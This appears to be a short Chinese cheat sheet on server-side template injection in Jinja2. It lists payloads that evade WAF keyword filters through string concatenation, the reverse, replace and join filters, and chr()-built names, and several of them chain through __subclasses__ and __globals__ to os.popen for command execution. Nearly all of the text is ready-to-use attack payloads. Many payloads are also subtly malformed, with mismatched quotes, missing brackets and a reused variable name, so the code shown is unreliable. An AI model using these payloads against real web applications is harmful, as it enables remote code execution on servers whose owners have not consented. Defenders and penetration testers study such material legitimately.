SSTI模板注入详细总结及WAF绕过_fenjing ssti(1)

3、Jinjia2中的~拼接

{ {()[‘__class__’]}}等价于{%set a=’__cla’%}{%set b=’ss__’%}{ {()[a~b]

{%set a=’__cla’%}{%set b=’ss__%}{%set c=’__ba’%}{%set d=’se__’%}{%set e=’__subcl’%}{%set f=’asses__’%}{%set g=’__in’%}{%set h=’it__’%}{%set l=’__gl’%}{%set i=’obals__%}{%set i=’po’%}{%set k=’pen’%}{ {“”[a_b][cd]e~f[19][g_h][li][‘os’]j~k‘read’}}

4、过滤器绕过（reverse，replace，join）

过滤器reverse

{ {()[‘__class__’]}}等价于{%set a=”__ssalc__”|reverse%}{ {()[a]}}

payload可以这么构造：

{%set a=”__ssalc__”|reverse%}{%set b=“__esab_
_”|reverse%}{%set c=”__sessalcbus__”|reverse%}{%set d=“__ tini__”|reverse%}{%set e=”__slabolg__”|reverse%}{%set f=”nepop”|reverse%}{ {“”[a][b]c[199][d][e][‘os’]f‘read’}}

过滤器replace

{ {()[‘__class__’]}}等价于{%set a=”__claee__”|replace(“ee”,“ss”)%}{ {()[a]}}

过滤器join

{%set a=dict(__cla=a,ss__=a)|join%}{ {()[a]}}

(%set a=[‘__cla’,’ss__’]|join%}{ {()[a]}}

5、利用python里的char()

{% set chr=url_for.__globals__[__builtins__].chr %}

(从内置函数里面获取ASCII解码功能，并赋值给变量chr)

构造payload如下：

{ {“”[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

（这条payload等效于{ {“”.__class__}}）